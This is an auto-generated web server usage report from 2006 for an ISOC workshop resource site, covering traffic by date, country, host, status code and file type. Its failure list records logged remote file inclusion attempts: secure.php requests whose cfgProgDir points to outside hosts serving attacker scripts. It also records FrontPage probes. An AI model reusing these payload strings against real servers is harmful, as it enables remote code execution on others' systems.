Web Server Statistics for ISOC Workshop Resource CentreProgram started on Sun, Dec 03 2006 at 12:22 PM.
Analyzed requests from Sun, Sep 24 2006 at 4:12 AM to Sun, Dec 03 2006 at 1:34 PM (70.39 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Host Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending Dec 03 2006 at 12:22 PM.
Successful requests: 562,848 (59,943)
Average successful requests per day: 7,996 (8,563)
Successful requests for pages: 183,718 (18,594)
Average successful requests for pages per day: 2,609 (2,656)
Failed requests: 68,693 (14,639)
Redirected requests: 5,061 (531)
Requests with informational status code: 2 (0)
Distinct files requested: 55,397 (12,725)
Distinct hosts served: 58,596 (8,049)
Corrupt logfile lines: 18,285
Data transferred: 101.25 gigabytes (13.67 gigabytes)
Average data transferred per day: 1.44 gigabytes (1.95 gigabytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Host Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit (
) represents 2,500 requests for pages or part thereof.
| month | #reqs | #pages | |
|---|---|---|---|
| Sep 2006 | 42893 | 13027 | ![]() ![]() |
| Oct 2006 | 229810 | 77899 | ![]() |
| Nov 2006 | 271202 | 86141 | ![]() ![]() ![]() |
| Dec 2006 | 18943 | 6651 | ![]() ![]() |
Busiest month: Nov 2006 (86,141 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Host Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each week.
Each unit (
) represents 600 requests for pages or part thereof.
| week beg. | #reqs | #pages | |
|---|---|---|---|
| Sep/24/06 | 42893 | 13027 | ![]() ![]() ![]() |
| Oct/ 1/06 | 49621 | 17190 | ![]() ![]() ![]() ![]() |
| Oct/ 8/06 | 47645 | 17576 | ![]() ![]() ![]() ![]() |
| Oct/15/06 | 50399 | 16577 | ![]() ![]() ![]() |
| Oct/22/06 | 55428 | 17143 | ![]() ![]() ![]() ![]() |
| Oct/29/06 | 62475 | 23072 | ![]() ![]() ![]() ![]() |
| Nov/ 5/06 | 65528 | 21903 | ![]() ![]() ![]() |
| Nov/12/06 | 66128 | 19308 | ![]() ![]() |
| Nov/19/06 | 59436 | 18357 | ![]() ![]() ![]() ![]() ![]() |
| Nov/26/06 | 59935 | 18545 | ![]() ![]() ![]() ![]() ![]() |
| Dec/ 3/06 | 3360 | 1020 | ![]() |
Busiest week: week beginning Oct/29/06 (23,072 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Host Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each day.
Each unit (
) represents 150 requests for pages or part thereof.
| date | #reqs | #pages | |
|---|---|---|---|
| Oct/23/06 | 9191 | 2738 | ![]() ![]() ![]() |
| Oct/24/06 | 8920 | 2952 | ![]() ![]() |
| Oct/25/06 | 11524 | 4065 | ![]() ![]() ![]() |
| Oct/26/06 | 6590 | 1891 | ![]() ![]() ![]() |
| Oct/27/06 | 6583 | 1651 | ![]() ![]() |
| Oct/28/06 | 6744 | 2104 | ![]() ![]() ![]() ![]() |
| Oct/29/06 | 5566 | 2015 | ![]() ![]() ![]() |
| Oct/30/06 | 9415 | 3647 | ![]() ![]() ![]() |
| Oct/31/06 | 11736 | 3751 | ![]() ![]() ![]() |
| Nov/ 1/06 | 9547 | 3227 | ![]() ![]() ![]() |
| Nov/ 2/06 | 9244 | 3668 | ![]() ![]() ![]() |
| Nov/ 3/06 | 9824 | 3923 | ![]() ![]() ![]() ![]() |
| Nov/ 4/06 | 7143 | 2841 | ![]() ![]() ![]() |
| Nov/ 5/06 | 7483 | 3431 | ![]() ![]() ![]() ![]() |
| Nov/ 6/06 | 8627 | 2847 | ![]() ![]() ![]() |
| Nov/ 7/06 | 11546 | 4148 | ![]() ![]() ![]() |
| Nov/ 8/06 | 11075 | 3733 | ![]() ![]() ![]() |
| Nov/ 9/06 | 9698 | 2844 | ![]() ![]() ![]() |
| Nov/10/06 | 9425 | 2421 | ![]() ![]() |
| Nov/11/06 | 7674 | 2479 | ![]() ![]() |
| Nov/12/06 | 9532 | 2171 | ![]() ![]() ![]() ![]() |
| Nov/13/06 | 8747 | 2389 | ![]() |
| Nov/14/06 | 9756 | 2508 | ![]() ![]() |
| Nov/15/06 | 9394 | 3170 | ![]() ![]() ![]() |
| Nov/16/06 | 9103 | 2570 | ![]() ![]() |
| Nov/17/06 | 11596 | 3775 | ![]() ![]() ![]() |
| Nov/18/06 | 8000 | 2725 | ![]() ![]() ![]() |
| Nov/19/06 | 7257 | 2727 | ![]() ![]() ![]() |
| Nov/20/06 | 11251 | 3778 | ![]() ![]() ![]() |
| Nov/21/06 | 10550 | 3328 | ![]() ![]() ![]() ![]() |
| Nov/22/06 | 9333 | 2893 | ![]() ![]() |
| Nov/23/06 | 7607 | 2239 | ![]() ![]() ![]() ![]() |
| Nov/24/06 | 7679 | 1792 | ![]() ![]() |
| Nov/25/06 | 5759 | 1600 | ![]() ![]() ![]() |
| Nov/26/06 | 7214 | 2359 | ![]() |
| Nov/27/06 | 7939 | 1937 | ![]() ![]() ![]() |
| Nov/28/06 | 9884 | 2949 | ![]() ![]() |
| Nov/29/06 | 9559 | 2464 | ![]() ![]() |
| Nov/30/06 | 9756 | 3205 | ![]() ![]() ![]() |
| Dec/ 1/06 | 8299 | 3196 | ![]() ![]() ![]() |
| Dec/ 2/06 | 7284 | 2435 | ![]() ![]() |
| Dec/ 3/06 | 3360 | 1020 | ![]() ![]() ![]() |
Busiest day: Nov/ 7/06 (4,148 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Host Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit (
) represents 800 requests for pages or part thereof.
| day | #reqs | #pages | |
|---|---|---|---|
| Sun | 67154 | 24380 | ![]() ![]() ![]() ![]() ![]() |
| Mon | 82918 | 26451 | ![]() ![]() |
| Tue | 90751 | 28450 | ![]() ![]() |
| Wed | 89469 | 28329 | ![]() ![]() |
| Thu | 83181 | 26218 | ![]() ![]() |
| Fri | 81633 | 25017 | ![]() |
| Sat | 67742 | 24873 | ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Host Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit (
) represents 250 requests for pages or part thereof.
| hour | #reqs | #pages | |
|---|---|---|---|
| 0 | 23235 | 7938 | ![]() |
| 1 | 20115 | 7246 | ![]() ![]() ![]() ![]() |
| 2 | 20278 | 6953 | ![]() ![]() ![]() |
| 3 | 21160 | 7322 | ![]() ![]() ![]() ![]() |
| 4 | 19020 | 6758 | ![]() ![]() ![]() |
| 5 | 19734 | 7208 | ![]() ![]() ![]() ![]() |
| 6 | 18680 | 7116 | ![]() ![]() ![]() ![]() |
| 7 | 18954 | 6823 | ![]() ![]() ![]() |
| 8 | 19624 | 6916 | ![]() ![]() ![]() |
| 9 | 18977 | 6642 | ![]() ![]() ![]() ![]() |
| 10 | 21366 | 7522 | ![]() ![]() ![]() ![]() ![]() |
| 11 | 20586 | 7310 | ![]() ![]() ![]() ![]() |
| 12 | 20898 | 7589 | ![]() ![]() ![]() ![]() ![]() |
| 13 | 23828 | 7645 | ![]() ![]() ![]() ![]() ![]() |
| 14 | 26120 | 7771 | ![]() |
| 15 | 28256 | 8515 | ![]() ![]() ![]() |
| 16 | 29810 | 8184 | ![]() ![]() |
| 17 | 29783 | 8270 | ![]() ![]() |
| 18 | 28353 | 8054 | ![]() ![]() |
| 19 | 28329 | 8481 | ![]() ![]() |
| 20 | 26151 | 7774 | ![]() |
| 21 | 26541 | 8104 | ![]() ![]() |
| 22 | 26082 | 8103 | ![]() ![]() |
| 23 | 26968 | 9474 | ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Host Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.

Listing domains, sorted by the amount of traffic.
| #reqs | %bytes | domain |
|---|---|---|
| 22934 | 31.52% | .cl (Chile) |
| 191269 | 19.34% | .com (Commercial) |
| 107517 | 17.88% | [unresolved numerical addresses] |
| 93263 | 17.11% | .net (Networks) |
| 24326 | 2.87% | .mx (Mexico) |
| 15661 | 1.85% | .pe (Peru) |
| 8846 | 1.15% | .co (Colombia) |
| 5563 | 0.94% | .fr (France) |
| 5845 | 0.69% | .ar (Argentina) |
| 5114 | 0.62% | .es (Spain) |
| 2539 | 0.41% | .ca (Canada) |
| 1489 | 0.38% | .ma (Morocco) |
| 2775 | 0.37% | .in (India) |
| 407 | 0.31% | [unknown domain] |
| 22866 | 0.29% | .edu (US Higher Education) |
| 2242 | 0.28% | .nl (Netherlands) |
| 10295 | 0.28% | .br (Brazil) |
| 456 | 0.24% | .fi (Finland) |
| 1171 | 0.21% | .it (Italy) |
| 2315 | 0.19% | .de (Germany) |
| 1877 | 0.16% | .au (Australia) |
| 2074 | 0.15% | .uk (United Kingdom) |
| 1888 | 0.14% | .jp (Japan) |
| 1445 | 0.14% | .be (Belgium) |
| 690 | 0.13% | .cr (Costa Rica) |
| 1604 | 0.13% | .ch (Switzerland) |
| 1863 | 0.11% | .do (Dominican Republic) |
| 1027 | 0.10% | .mil (US Military) |
| 1603 | 0.10% | .ec (Ecuador) |
| 648 | 0.09% | .uy (Uruguay) |
| 536 | 0.09% | .id (Indonesia) |
| 736 | 0.08% | .ni (Nicaragua) |
| 958 | 0.08% | .pl (Poland) |
| 702 | 0.07% | .th (Thailand) |
| 422 | 0.07% | .ro (Romania) |
| 965 | 0.07% | .org (Non Profit Making Organizations) |
| 389 | 0.06% | .ae (United Arab Emirates) |
| 287 | 0.06% | .il (Israel) |
| 295 | 0.06% | .sa (Saudi Arabia) |
| 549 | 0.06% | .se (Sweden) |
| 944 | 0.05% | .ve (Venezuela) |
| 1392 | 0.05% | .pt (Portugal) |
| 355 | 0.05% | [domain not given] |
| 708 | 0.05% | .my (Malaysia) |
| 369 | 0.05% | .pk (Pakistan) |
| 130 | 0.04% | .lt (Lithuania) |
| 414 | 0.04% | .sg (Singapore) |
| 486 | 0.04% | .at (Austria) |
| 301 | 0.04% | .arpa (Arpanet) |
| 590 | 0.04% | .gt (Guatemala) |
| 366 | 0.03% | .cz (Czech Republic) |
| 416 | 0.03% | .tw (Taiwan) |
| 530 | 0.03% | .nz (New Zealand) |
| 18 | 0.03% | .kh (Cambodia) |
| 483 | 0.03% | .dk (Denmark) |
| 402 | 0.03% | .gr (Greece) |
| 184 | 0.02% | .ua (Ukraine) |
| 220 | 0.02% | .tr (Turkey) |
| 242 | 0.02% | .cu (Cuba) |
| 292 | 0.02% | .no (Norway) |
| 461 | 0.02% | .ru (Russia) |
| 292 | 0.02% | .bo (Bolivia) |
| 256 | 0.02% | .vn (Vietnam) |
| 339 | 0.02% | .gov (US Government) |
| 194 | 0.02% | .py (Paraguay) |
| 123 | 0.02% | .cn (China) |
| 811 | 0.02% | .by (Belarus) |
| 394 | 0.02% | .us (United States) |
| 292 | 0.01% | .sk (Slovakia) |
| 222 | 0.01% | .hu (Hungary) |
| 102 | 0.01% | .hk (Hong Kong) |
| 136 | 0.01% | .int (International Treaty Organizations) |
| 13 | 0.01% | .cc (Cocos (Keeling) Islands) |
| 74 | 0.01% | .fj (Fiji) |
| 47 | 0.01% | .ci (Ivory Coast) |
| 57 | 0.01% | .ph (Philippines) |
| 5 | 0.01% | .om (Oman) |
| 34 | 0.01% | .sv (El Salvador) |
| 88 | 0.01% | .yu (Former Yugoslavia) |
| 197 | 0.01% | .hn (Honduras) |
| 82 | 0.01% | .hr (Croatia) |
| 5 | 0.01% | .gy (Guyana) |
| 107 | 0.01% | .za (South Africa) |
| 10 | 0.01% | .qa (Qatar) |
| 90 | 0.01% | .ie (Ireland) |
| 66 | 0.01% | .info (Informational) |
| 18 | 0.01% | .pg (Papua New Guinea) |
| 63 | 0.01% | .np (Nepal) |
| 87 | 0.01% | .md (Moldova) |
| 44 | 0.01% | .lu (Luxembourg) |
| 5 | .pa (Panama) | |
| 112 | .bg (Bulgaria) | |
| 24 | .cy (Cyprus) | |
| 28 | .cd (Democratic Republic of the Congo) | |
| 14 | .kz (Kazakhstan) | |
| 18 | .nc (New Caledonia) | |
| 18 | .mg (Madagascar) | |
| 67 | .zw (Zimbabwe) | |
| 48 | .ee (Estonia) | |
| 192 | .ke (Kenya) | |
| 8 | .ir (Iran) | |
| 119 | .tz (Tanzania) | |
| 45 | .biz (Businesses) | |
| 75 | .bn (Brunei Darussalam) | |
| 77 | .bt (Bhutan) | |
| 11 | .sc (Seychelles) | |
| 6 | .sn (Senegal) | |
| 40 | .eg (Egypt) | |
| 24 | .is (Iceland) | |
| 6 | .pf (French Polynesia) | |
| 58 | .dz (Algeria) | |
| 58 | .lk (Sri Lanka) | |
| 20 | .aero (Air Transport Industry) | |
| 13 | .tt (Trinidad and Tobago) | |
| 17 | .tv (Tuvalu) | |
| 10 | .si (Slovenia) | |
| 58 | .ba (Bosnia-Herzegovina) | |
| 139 | .gh (Ghana) | |
| 10 | .cx (Christmas Island) | |
| 32 | .lv (Latvia) | |
| 20 | .kr (South Korea) | |
| 10 | .bw (Botswana) | |
| 8 | .lb (Lebanon) | |
| 8 | .mu (Mauritius) | |
| 10 | .an (Netherlands Antilles) | |
| 6 | .rw (Rwanda) | |
| 2 | .ne (Niger) | |
| 17 | .ug (Uganda) | |
| 2 | .cf (Central African Republic) | |
| 6 | .bd (Bangladesh) | |
| 2 | .pr (Puerto Rico) | |
| 3 | .tg (Togo) | |
| 1 | .gn (Guinea) | |
| 28 | .ao (Angola) | |
| 12 | .mm (Myanmar) | |
| 9 | .jo (Jordan) | |
| 14 | .ky (Cayman Islands) | |
| 8 | .sy (Syria) | |
| 5 | .mr (Mauritania) | |
| 3 | .zm (Zambia) | |
| 104 | .mz (Mozambique) | |
| 34 | .bj (Benin) | |
| 2 | .er (Eritrea) | |
| 6 | .am (Armenia) | |
| 2 | .ad (Andorra) | |
| 6 | .to (Tonga) | |
| 1 | .ls (Lesotho) | |
| 3 | .mc (Monaco) | |
| 2 | .sz (Swaziland) | |
| 2 | .na (Namibia) | |
| 1 | .nu (Niue) | |
| 21 | .sb (Solomon Islands) | |
| 6 | .mt (Malta) | |
| 18 | .mw (Malawi) | |
| 24 | .bm (Bermuda) | |
| 31 | .ai (Anguilla) | |
| 17 | .mk (Macedonia (Former Yugoslav Republic)) | |
| 14 | .ck (Cook Islands) | |
| 4 | .su (Former USSR) | |
| 4 | .al (Albania) | |
| 3 | .ge (Georgia) | |
| 3 | .vi (Virgin Islands (USA)) | |
| 2 | .coop (Cooperatives) | |
| 1 | .je (Jersey) | |
| 1 | .mn (Mongolia) | |
| 2 | .ws (Samoa) | |
| 1 | .bs (Bahamas) | |
| 1 | .li (Liechtenstein) | |
| 1 | .name (Individuals) | |
| 1 | .tp (East Timor) | |
| 1 | .dm (Dominica) | |
| 1 | .tn (Tunisia) |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Host Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the organizations of the computers which requested files.

Listing the top 20 organizations by the number of requests, sorted by the number of requests.
| #reqs | %bytes | organization |
|---|---|---|
| 85431 | 3.28% | googlebot.com |
| 30420 | 4.75% | live.com |
| 22101 | 1.55% | inktomisearch.com |
| 20719 | 0.01% | uoregon.edu |
| 19315 | 29.57% | surnet.cl |
| 13815 | 1.66% | speedy.net.pe |
| 12886 | innovative-hosting.net | |
| 12543 | 1.29% | prod-infinitum.com.mx |
| 11538 | 1.30% | rima-tde.net |
| 11002 | 8.18% | vtr.net |
| 7058 | 1.58% | gigablast.com |
| 7054 | 0.55% | cantv.net |
| 4691 | 1.80% | 69 |
| 3591 | 2.38% | ask.com |
| 3374 | 0.84% | ono.com |
| 3169 | 0.22% | comcast.net |
| 3039 | 1.27% | tpiol.com |
| 2950 | 0.37% | uninet-ide.com.mx |
| 2862 | 0.25% | accelovation.com |
| 2794 | 0.42% | etb.net.co |
| 282496 | 38.73% | [not listed: 11,133 organizations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Host Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the computers which requested files.

Listing the top 50 hosts by the number of requests, sorted alphabetically.
| #reqs | %bytes | host |
|---|---|---|
| 4551 | 1.79% | 69.25.71.12 |
| 1020 | 195.69.160.4 | |
| 2011 | 0.93% | 209.88.89.138 |
| 1620 | 0.06% | 216.255.229.232 |
| 4891 | 7.64% | 200-126-74-152.bk5-dsl.surnet.cl |
| 2859 | 0.25% | c06.ba.accelovation.com |
| 2259 | 0.57% | egspd42469.ask.com |
| 7058 | 1.58% | www.gigablast.com |
| 6926 | 0.45% | crawl-66-249-65-105.googlebot.com |
| 1690 | 0.03% | crawl-66-249-65-113.googlebot.com |
| 2486 | 0.08% | crawl-66-249-65-148.googlebot.com |
| 6138 | 0.16% | crawl-66-249-65-172.googlebot.com |
| 1428 | 0.03% | crawl-66-249-65-18.googlebot.com |
| 4485 | 0.34% | crawl-66-249-65-231.googlebot.com |
| 5570 | 0.21% | crawl-66-249-65-4.googlebot.com |
| 15405 | 0.55% | crawl-66-249-66-12.googlebot.com |
| 1462 | 0.07% | crawl-66-249-66-138.googlebot.com |
| 946 | 0.04% | crawl-66-249-66-147.googlebot.com |
| 2020 | 0.01% | crawl-66-249-66-162.googlebot.com |
| 7758 | 0.26% | crawl-66-249-66-178.googlebot.com |
| 15170 | 0.53% | crawl-66-249-66-180.googlebot.com |
| 5264 | 0.16% | crawl-66-249-66-235.googlebot.com |
| 3991 | 0.13% | crawl-66-249-66-48.googlebot.com |
| 968 | 0.01% | crawl-66-249-72-140.googlebot.com |
| 1176 | server1.gtcserver.com | |
| 1404 | 0.02% | gator62.hostgator.com |
| 2622 | 0.09% | livebot-207-46-98-44.search.live.com |
| 7986 | 1.60% | livebot-207-46-98-45.search.live.com |
| 6998 | 0.48% | livebot-207-46-98-46.search.live.com |
| 2776 | 0.08% | livebot-207-46-98-47.search.live.com |
| 900 | 0.23% | livebot-64-4-8-116.search.live.com |
| 1829 | 0.81% | livebot-65-55-212-185.search.live.com |
| 3335 | 0.75% | livebot-65-55-212-187.search.live.com |
| 1033 | 0.01% | pc-200-30-218-150.san-damian4.pc.metropolis-inter.com |
| 2076 | 0.75% | 81-202-59-70.user.ono.com |
| 903 | 0.14% | mandragora3.pemex.com |
| 3039 | 1.27% | tpiol.tpiol.com |
| 20170 | monitord.uoregon.edu | |
| 1051 | 0.12% | 59.160.172.2.static.vsnl.net.in |
| 1187 | 0.02% | 7-9745.san2.attens.net |
| 1231 | i5-7.dnslinks.net | |
| 12886 | voyager.innovative-hosting.net | |
| 994 | cust16202.lava.net | |
| 1060 | server3.serverbiz.net | |
| 2957 | 4.62% | pc-106-154-104-200.cm.vtr.net |
| 1224 | 0.01% | pc-137-124-74-200.cm.vtr.net |
| 2080 | 3.25% | pc-55-154-104-200.cm.vtr.net |
| 1716 | 0.08% | pc-78-10-74-200.cm.vtr.net |
| 1207 | 0.30% | client-200.121.134.111.speedy.net.pe |
| 1944 | 0.16% | client-200.121.207.73.speedy.net.pe |
| 369088 | 69.34% | [not listed: 58,546 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Host Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the HTTP status codes of all requests.

Listing status codes, sorted numerically.
| #reqs | status code |
|---|---|
| 2 | 1xx [Miscellaneous informational] |
| 441628 | 200 OK |
| 82405 | 206 Partial content |
| 3068 | 301 Document moved permanently |
| 1885 | 302 Document found elsewhere |
| 108 | 303 See other document |
| 38815 | 304 Not modified since last retrieval |
| 42 | 400 Bad request |
| 29 | 401 Authentication required |
| 76 | 403 Access forbidden |
| 66859 | 404 Document not found |
| 86 | 405 Method not allowed |
| 749 | 406 Document not acceptable to client |
| 2 | 413 Request too long |
| 1 | 414 Requested filename too long |
| 477 | 416 Requested range not valid |
| 209 | 500 Internal server error |
| 163 | 503 Service temporarily unavailable |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Host Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the sizes of files.

| size | #reqs | %bytes |
|---|---|---|
| 0 | 85817 | |
| 1B- 10B | 68 | |
| 11B- 100B | 3841 | |
| 101B- 1kB | 35742 | 0.02% |
| 1kB- 10kB | 191008 | 0.69% |
| 10kB-100kB | 140665 | 4.35% |
| 100kB- 1MB | 69260 | 18.80% |
| 1MB- 10MB | 36205 | 60.45% |
| 10MB-100MB | 182 | 7.18% |
| 100MB- 1GB | 60 | 8.52% |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Host Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the extensions of files.

Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.
| #reqs | %bytes | extension |
|---|---|---|
| 142389 | 66.30% | .pdf [Adobe Portable Document Format] |
| 162 | 14.32% | .iso |
| 28740 | 8.49% | .ppt |
| 47277 | 1.69% | .pl [Perl scripts] |
| 322 | 1.33% | .avi [AVI movies] |
| 233 | 0.98% | .ps [PostScript] |
| 1120 | 0.93% | .gz [Gzip compressed files] |
| 635 | 0.57% | .ps.gz [Gzipped PostScript] |
| 454 | 0.35% | .tar.gz [Compressed archives] |
| 83456 | 0.87% | .html [Hypertext Markup Language] |
| 12970 | 0.87% | .jpeg [JPEG graphics] |
| 504 | 0.68% | .zip [Zip archives] |
| 4708 | 0.54% | .sxi |
| 46851 | 0.48% | .jpg [JPEG graphics] |
| 12321 | 0.48% | .php [PHP] |
| 92003 | 0.35% | [directories] |
| 301 | 0.33% | |
| 137 | 0.22% | .bz2 |
| 346 | 0.14% | .tbz |
| 3029 | 0.14% | .txt [Plain text] |
| 994 | 0.11% | .odp |
| 84985 | 0.74% | [not listed: 54 extensions] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Host Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)

Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
| #reqs | %bytes | directory |
|---|---|---|
| 314667 | 85.80% | /workshops/ |
| 33155 | 10.95% | /data/ |
| 48305 | 1.70% | /cgi-bin/ |
| 51111 | 0.38% | /archive/ |
| 13765 | 0.30% | /analog/ |
| 1726 | 0.28% | /search/ |
| 3555 | 0.13% | /calendar/ |
| 47196 | 0.12% | [root directory] |
| 1662 | 0.08% | /usage/ |
| 1998 | 0.08% | /materials/ |
| 5905 | 0.04% | /helpfiles/ |
| 3408 | 0.03% | /trac/ |
| 1241 | 0.02% | /peer-review/ |
| 24240 | 0.02% | /images/ |
| 1756 | 0.02% | /planning/ |
| 600 | 0.01% | /organizers/ |
| 8558 | 0.03% | [not listed: 11 directories] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Host Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.

Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
| #reqs | file |
|---|---|
| 31002 | /favicon.ico |
| 8352 | /robots.txt |
| 5622 | /ipv6.gif |
| 2893 | /workshops/2004/CEDIA2/admin/phpSecurePages/secure.php |
| 1227 | /workshops/2004/CEDIA2/admin/phpSecurePages/secure.php?cfgProgDir=http://66.36.244.108/c.php.txt?? |
| 877 | /workshops/2004/CEDIA2/admin/phpSecurePages/secure.php?cfgProgDir=http://hellostrangermusic.com/c.in?? |
| 439 | /workshops/2004/CEDIA2/admin/phpSecurePages/secure.php?cfgProgDir=http://66.36.244.108/c.in?? |
| 182 | /workshops/2004/CEDIA2/admin/phpSecurePages/secure.php?cfgProgDir=http://66.36.244.108/c.php.txt? |
| 99 | /workshops/2004/CEDIA2/admin/phpSecurePages/secure.php?cfgProgDir=http://sg-web.org/c.in?? |
| 69 | /workshops/2004/CEDIA2/admin/phpSecurePages/secure.php?cfgProgDir=http://193.238.106.20/a?? |
| 1490 | /workshops/2006/PacNOG2/track2/admin/phpSecurePages/secure.php |
| 654 | /workshops/2006/PacNOG2/track2/admin/phpSecurePages/secure.php?cfgProgDir=http://66.36.244.108/c.php.txt?? |
| 448 | /workshops/2006/PacNOG2/track2/admin/phpSecurePages/secure.php?cfgProgDir=http://hellostrangermusic.com/c.in?? |
| 229 | /workshops/2006/PacNOG2/track2/admin/phpSecurePages/secure.php?cfgProgDir=http://66.36.244.108/c.in?? |
| 81 | /workshops/2006/PacNOG2/track2/admin/phpSecurePages/secure.php?cfgProgDir=http://66.36.244.108/c.php.txt? |
| 43 | /workshops/2006/PacNOG2/track2/admin/phpSecurePages/secure.php?cfgProgDir=http://sg-web.org/c.in?? |
| 35 | /workshops/2006/PacNOG2/track2/admin/phpSecurePages/secure.php?cfgProgDir=http://193.238.106.20/a?? |
| 1372 | /cgi-bin/wiki/pub/sandbox.pl |
| 852 | /cgi-bin/wiki/pub/sandbox.pl?action=edit;id=Sandbox_Home |
| 1196 | /images/singlepix.gif |
| 746 | /search/images/singlepix.gif |
| 722 | /_vti_inf.html |
| 708 | /_vti_bin/shtml.exe/_vti_rpc |
| 640 | /planning/images/singlepix.gif |
| 549 | /calendar/images/singlepix.gif |
| 460 | /workshops/images/singlepix.gif |
